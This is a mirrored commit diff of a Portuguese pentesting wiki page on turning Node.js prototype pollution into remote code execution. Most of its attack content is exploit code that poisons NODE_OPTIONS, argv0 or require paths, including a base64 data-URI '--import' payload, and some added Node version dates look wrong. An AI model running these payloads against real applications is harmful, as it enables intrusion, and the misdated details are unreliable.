mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p
This commit is contained in:
parent
090e4f7fdf
commit
37721a4726
@ -39,7 +39,7 @@ var proc = fork("a_file.js")
|
|||||||
```
|
```
|
||||||
## PP2RCE via env vars
|
## PP2RCE via env vars
|
||||||
|
|
||||||
**PP2RCE** significa **Prototype Pollution to RCE** (Execução Remota de Código).
|
**PP2RCE** significa **Poluição de Protótipo para RCE** (Execução Remota de Código).
|
||||||
|
|
||||||
De acordo com este [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando um **processo é gerado** com algum método de **`child_process`** (como `fork` ou `spawn` ou outros), ele chama o método `normalizeSpawnArguments`, que é um **gadget de poluição de protótipo para criar novas variáveis de ambiente**:
|
De acordo com este [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), quando um **processo é gerado** com algum método de **`child_process`** (como `fork` ou `spawn` ou outros), ele chama o método `normalizeSpawnArguments`, que é um **gadget de poluição de protótipo para criar novas variáveis de ambiente**:
|
||||||
```javascript
|
```javascript
|
||||||
@ -71,7 +71,7 @@ Verifique que o código, você pode ver que é possível **envenenar `envPairs`*
|
|||||||
>
|
>
|
||||||
> No entanto, para que a **variável de ambiente seja a primeira**, você precisa **poluir** o **atributo `.env`** e (apenas em alguns métodos) essa var será a **primeira** (permitindo o ataque).
|
> No entanto, para que a **variável de ambiente seja a primeira**, você precisa **poluir** o **atributo `.env`** e (apenas em alguns métodos) essa var será a **primeira** (permitindo o ataque).
|
||||||
>
|
>
|
||||||
> É por isso que **`NODE_OPTIONS`** **não está dentro de `.env`** no seguinte ataque.
|
> É por isso que **`NODE_OPTIONS`** **não está dentro de `.env`** no ataque a seguir.
|
||||||
```javascript
|
```javascript
|
||||||
const { execSync, fork } = require("child_process")
|
const { execSync, fork } = require("child_process")
|
||||||
|
|
||||||
@ -124,7 +124,7 @@ var proc = fork("a_file.js")
|
|||||||
|
|
||||||
Um payload semelhante ao anterior, com algumas mudanças, foi proposto em [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** As principais diferenças são:
|
Um payload semelhante ao anterior, com algumas mudanças, foi proposto em [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** As principais diferenças são:
|
||||||
|
|
||||||
- Em vez de armazenar o **payload** do nodejs dentro do arquivo `/proc/self/environ`, ele o armazena **dentro de argv0** de **`/proc/self/cmdline`**.
|
- Em vez de armazenar o **payload** do nodejs dentro do arquivo `/proc/self/environ`, ele o armazena **dentro do argv0** de **`/proc/self/cmdline`**.
|
||||||
- Em seguida, em vez de requerer via **`NODE_OPTIONS`** o arquivo `/proc/self/environ`, ele **requer `/proc/self/cmdline`**.
|
- Em seguida, em vez de requerer via **`NODE_OPTIONS`** o arquivo `/proc/self/environ`, ele **requer `/proc/self/cmdline`**.
|
||||||
```javascript
|
```javascript
|
||||||
const { execSync, fork } = require("child_process")
|
const { execSync, fork } = require("child_process")
|
||||||
@ -149,6 +149,47 @@ clone(USERINPUT)
|
|||||||
var proc = fork("a_file.js")
|
var proc = fork("a_file.js")
|
||||||
// This should create the file /tmp/pp2rec
|
// This should create the file /tmp/pp2rec
|
||||||
```
|
```
|
||||||
|
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Desde **Node.js 19**, a flag CLI `--import` pode ser passada através de `NODE_OPTIONS` da mesma forma que `--require`. Em contraste com `--require`, `--import` entende **data-URIs**, então o atacante **não precisa de acesso de gravação ao sistema de arquivos**. Isso torna o gadget muito mais confiável em ambientes restritos ou somente leitura.
|
||||||
|
>
|
||||||
|
> Esta técnica foi documentada publicamente pela pesquisa da PortSwigger em maio de 2023 e desde então foi reproduzida em vários desafios de CTF.
|
||||||
|
|
||||||
|
O ataque é conceitualmente idêntico aos truques `--require /proc/self/*` mostrados acima, mas em vez de apontar para um arquivo, incorporamos a carga útil diretamente em uma URL `data:` codificada em base64:
|
||||||
|
```javascript
|
||||||
|
const { fork } = require("child_process")
|
||||||
|
|
||||||
|
// Manual pollution
|
||||||
|
b = {}
|
||||||
|
|
||||||
|
// Javascript that is executed once Node parses the import URL
|
||||||
|
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||||
|
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||||
|
|
||||||
|
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||||
|
// any key that will force spawn (fork) – same as earlier examples
|
||||||
|
fork("./a_file.js");
|
||||||
|
```
|
||||||
|
Abusando do ponto de fusão/clonagem vulnerável mostrado no topo da página:
|
||||||
|
```javascript
|
||||||
|
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||||
|
clone(USERINPUT);
|
||||||
|
|
||||||
|
// Gadget trigger
|
||||||
|
fork("./a_file.js");
|
||||||
|
// → creates /tmp/pp2rce_import
|
||||||
|
```
|
||||||
|
### Por que `--import` ajuda
|
||||||
|
1. **Sem interação com disco** – o payload viaja inteiramente dentro da linha de comando e do ambiente do processo.
|
||||||
|
2. **Funciona com ambientes apenas ESM** – `--import` é a maneira canônica de pré-carregar JavaScript nas versões modernas do Node que usam ECMAScript Modules por padrão.
|
||||||
|
3. **Ignora algumas listas de permissão de `--require`** – algumas bibliotecas de endurecimento filtram apenas `--require`, deixando `--import` intocado.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> O suporte a `--import` em `NODE_OPTIONS` ainda está presente na última **Node 22.2.0** (junho de 2025). A equipe central do Node está discutindo a restrição de data-URIs no futuro, mas nenhuma mitigação está disponível no momento da redação.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Interação DNS
|
## Interação DNS
|
||||||
|
|
||||||
Usando os seguintes payloads, é possível abusar da variável de ambiente NODE_OPTIONS que discutimos anteriormente e detectar se funcionou com uma interação DNS:
|
Usando os seguintes payloads, é possível abusar da variável de ambiente NODE_OPTIONS que discutimos anteriormente e detectar se funcionou com uma interação DNS:
|
||||||
@ -161,7 +202,7 @@ Usando os seguintes payloads, é possível abusar da variável de ambiente NODE_
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Ou, para evitar que os WAFs peçam o domínio:
|
Ou, para evitar que os WAFs solicitem o domínio:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
@ -207,7 +248,7 @@ var proc = exec("something")
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Exploração de <code>execFile</code></strong></summary>
|
<summary><strong><code>execFile</code> exploração</strong></summary>
|
||||||
```javascript
|
```javascript
|
||||||
// environ trick - not working
|
// environ trick - not working
|
||||||
// It's not possible to pollute the .en attr to create a first env var
|
// It's not possible to pollute the .en attr to create a first env var
|
||||||
@ -227,7 +268,7 @@ var proc = execFile("/usr/bin/node")
|
|||||||
|
|
||||||
// Windows - not working
|
// Windows - not working
|
||||||
```
|
```
|
||||||
Para **`execFile`** funcionar, ele **DEVE executar o node** para que os NODE_OPTIONS funcionem.\
|
Para **`execFile`** funcionar, ele **DEVE** executar o node para que os NODE_OPTIONS funcionem.\
|
||||||
Se **não** estiver executando **node**, você precisa descobrir como **alterar a execução** do que quer que esteja sendo executado **com variáveis de ambiente** e defini-las.
|
Se **não** estiver executando **node**, você precisa descobrir como **alterar a execução** do que quer que esteja sendo executado **com variáveis de ambiente** e defini-las.
|
||||||
|
|
||||||
As **outras** técnicas **funcionam** sem esse requisito porque é **possível modificar** **o que é executado** via poluição de protótipo. (Neste caso, mesmo que você possa poluir `.shell`, você não poluirá o que está sendo executado).
|
As **outras** técnicas **funcionam** sem esse requisito porque é **possível modificar** **o que é executado** via poluição de protótipo. (Neste caso, mesmo que você possa poluir `.shell`, você não poluirá o que está sendo executado).
|
||||||
@ -369,7 +410,7 @@ var proc = execSync("something")
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Exploração de <code>execSync</code></strong></summary>
|
<summary><strong><code>execSync</code> exploração</strong></summary>
|
||||||
```javascript
|
```javascript
|
||||||
// environ trick - working with small variation (shell and argv0)
|
// environ trick - working with small variation (shell and argv0)
|
||||||
// Working after kEmptyObject (fix)
|
// Working after kEmptyObject (fix)
|
||||||
@ -414,7 +455,7 @@ var proc = execSync("something")
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Exploração de <code>spawnSync</code></strong></summary>
|
<summary><strong><code>spawnSync</code> exploração</strong></summary>
|
||||||
```javascript
|
```javascript
|
||||||
// environ trick - working with small variation (shell and argv0)
|
// environ trick - working with small variation (shell and argv0)
|
||||||
// NOT working after kEmptyObject (fix) without options
|
// NOT working after kEmptyObject (fix) without options
|
||||||
@ -463,11 +504,11 @@ var proc = spawnSync("something")
|
|||||||
|
|
||||||
## Forçando Spawn
|
## Forçando Spawn
|
||||||
|
|
||||||
Nos exemplos anteriores, você viu como acionar o gadget, uma funcionalidade que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo a chamam). No exemplo anterior, isso era **parte do código**, mas e se o código **não estiver** chamando.
|
Nos exemplos anteriores, você viu como acionar o gadget, uma funcionalidade que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo o chamam). No exemplo anterior, isso fazia **parte do código**, mas e se o código **não estiver** chamando-o?
|
||||||
|
|
||||||
### Controlando um caminho de arquivo require
|
### Controlando um caminho de arquivo require
|
||||||
|
|
||||||
Neste [**outro artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), o usuário pode controlar o caminho do arquivo onde um **`require`** será executado. Nesse cenário, o atacante só precisa **encontrar um arquivo `.js` dentro do sistema** que irá **executar um método spawn quando importado.**\
|
Neste [**outro artigo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), o usuário pode controlar o caminho do arquivo onde um **`require`** será executado. Nesse cenário, o atacante só precisa **encontrar um arquivo `.js` dentro do sistema** que **execute um método spawn quando importado.**\
|
||||||
Alguns exemplos de arquivos comuns que chamam uma função spawn quando importados são:
|
Alguns exemplos de arquivos comuns que chamam uma função spawn quando importados são:
|
||||||
|
|
||||||
- /path/to/npm/scripts/changelog.js
|
- /path/to/npm/scripts/changelog.js
|
||||||
@ -497,19 +538,19 @@ done
|
|||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Definindo o caminho do arquivo require via poluição de protótipo
|
### Definindo o caminho do arquivo requerido via poluição de protótipo
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> A **técnica anterior requer** que o **usuário controle o caminho do arquivo** que vai ser **requerido**. Mas isso nem sempre é verdade.
|
> A **técnica anterior requer** que o **usuário controle o caminho do arquivo** que vai ser **requerido**. Mas isso nem sempre é verdade.
|
||||||
|
|
||||||
No entanto, se o código for executar um require após a poluição do protótipo, mesmo que você **não controle o caminho** que vai ser requerido, você **pode forçar um diferente abusando da poluição de protótipo**. Então, mesmo que a linha de código seja como `require("./a_file.js")` ou `require("bytes")`, ela **requererá o pacote que você poluiu**.
|
No entanto, se o código vai executar um require após a poluição do protótipo, mesmo que você **não controle o caminho** que vai ser requerido, você **pode forçar um diferente abusando da poluição de protótipo**. Então, mesmo que a linha de código seja como `require("./a_file.js")` ou `require("bytes")`, ela **requererá o pacote que você poluiu**.
|
||||||
|
|
||||||
Portanto, se um require for executado após sua poluição de protótipo e nenhuma função de spawn, este é o ataque:
|
Portanto, se um require for executado após sua poluição de protótipo e nenhuma função de spawn, este é o ataque:
|
||||||
|
|
||||||
- Encontre um **arquivo `.js` dentro do sistema** que, quando **requerido**, irá **executar algo usando `child_process`**
|
- Encontre um **arquivo `.js` dentro do sistema** que, quando **requerido**, irá **executar algo usando `child_process`**
|
||||||
- Se você puder fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
|
- Se você puder fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
|
||||||
- Polua os caminhos para **forçar o carregamento do require do arquivo `.js`** que irá executar algo com child_process
|
- Polua os caminhos para **forçar o carregamento do require do arquivo `.js`** que irá executar algo com child_process
|
||||||
- **Polua o environ/cmdline** para executar código arbitrário quando uma função de execução child_process for chamada (veja as técnicas iniciais)
|
- **Polua o environ/cmdline** para executar código arbitrário quando uma função de execução de child_process for chamada (veja as técnicas iniciais)
|
||||||
|
|
||||||
#### Require absoluto
|
#### Require absoluto
|
||||||
|
|
||||||
@ -554,7 +595,7 @@ fork("anything")
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
#### Requerimento relativo - 1
|
#### Require relativo - 1
|
||||||
|
|
||||||
Se um **caminho relativo** for carregado em vez de um caminho absoluto, você pode fazer o node **carregar um caminho diferente**:
|
Se um **caminho relativo** for carregado em vez de um caminho absoluto, você pode fazer o node **carregar um caminho diferente**:
|
||||||
|
|
||||||
@ -595,7 +636,7 @@ fork("/path/to/anything")
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
#### Requerimento relativo - 2
|
#### Require relativo - 2
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="exploit"}}
|
{{#tab name="exploit"}}
|
||||||
@ -658,20 +699,24 @@ NODE_OPTIONS: "--require=/proc/self/environ",
|
|||||||
|
|
||||||
require("./usage.js")
|
require("./usage.js")
|
||||||
```
|
```
|
||||||
## Gadgets de VM
|
## VM Gadgets
|
||||||
|
|
||||||
No artigo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) também é indicado que o controle de **`contextExtensions`** de alguns métodos da biblioteca **`vm`** poderia ser usado como um gadget.\
|
No artigo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) também é indicado que o controle de **`contextExtensions`** de alguns métodos da biblioteca **`vm`** poderia ser usado como um gadget.\
|
||||||
No entanto, assim como os métodos **`child_process`** anteriores, foi **corrigido** nas versões mais recentes.
|
No entanto, assim como os métodos **`child_process`** anteriores, foi **corrigido** nas versões mais recentes.
|
||||||
|
|
||||||
## Correções & Proteções Inesperadas
|
## Fixes & Proteções inesperadas
|
||||||
|
|
||||||
Por favor, note que a poluição de protótipos funciona se o **atributo** de um objeto que está sendo acessado é **indefinido**. Se no **código** esse **atributo** é **definido** com um **valor**, você **não poderá sobrescrevê-lo**.
|
Por favor, note que a poluição de protótipos funciona se o **atributo** de um objeto que está sendo acessado é **indefinido**. Se no **código** esse **atributo** é **definido** com um **valor**, você **não conseguirá sobrescrevê-lo**.
|
||||||
|
|
||||||
Em junho de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), a var `options` em vez de um `{}` é um **`kEmptyObject`**. O que **impede que uma poluição de protótipo** afete os **atributos** de **`options`** para obter RCE.\
|
Em junho de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), a var `options` em vez de um `{}` é um **`kEmptyObject`**. O que **impede uma poluição de protótipo** de afetar os **atributos** de **`options`** para obter RCE.\
|
||||||
Pelo menos a partir da v18.4.0, essa proteção foi **implementada**, e portanto os **exploits** `spawn` e `spawnSync` que afetam os métodos **não funcionam mais** (se nenhum `options` for usado!).
|
Pelo menos a partir da v18.4.0, essa proteção foi **implementada**, e portanto os **exploits** `spawn` e `spawnSync` que afetam os métodos **não funcionam mais** (se nenhum `options` for usado!).
|
||||||
|
|
||||||
No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), a **poluição de protótipo** de **`contextExtensions`** da biblioteca vm foi **também meio que corrigida** definindo opções como **`kEmptyObject`** em vez de **`{}`.**
|
No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), a **poluição de protótipo** de **`contextExtensions`** da biblioteca vm foi **também meio que corrigida** definindo opções como **`kEmptyObject`** em vez de **`{}`.**
|
||||||
|
|
||||||
|
> [!INFO]
|
||||||
|
> **Node 20 (abril de 2023) & Node 22 (abril de 2025)** trouxeram um endurecimento adicional: vários auxiliares `child_process` agora copiam `options` fornecidos pelo usuário com **`CopyOptions()`** em vez de usá-los por referência. Isso bloqueia a poluição de objetos aninhados como `stdio`, mas **não protege contra os truques `NODE_OPTIONS` / `--import`** descritos acima – essas flags ainda são aceitas via variáveis de ambiente.
|
||||||
|
> Uma correção completa teria que restringir quais flags de CLI podem ser propagadas do processo pai, o que está sendo rastreado na Issue do Node #50559.
|
||||||
|
|
||||||
### **Outros Gadgets**
|
### **Outros Gadgets**
|
||||||
|
|
||||||
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||||
@ -682,6 +727,8 @@ No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
|
|||||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||||
|
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||||
|
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user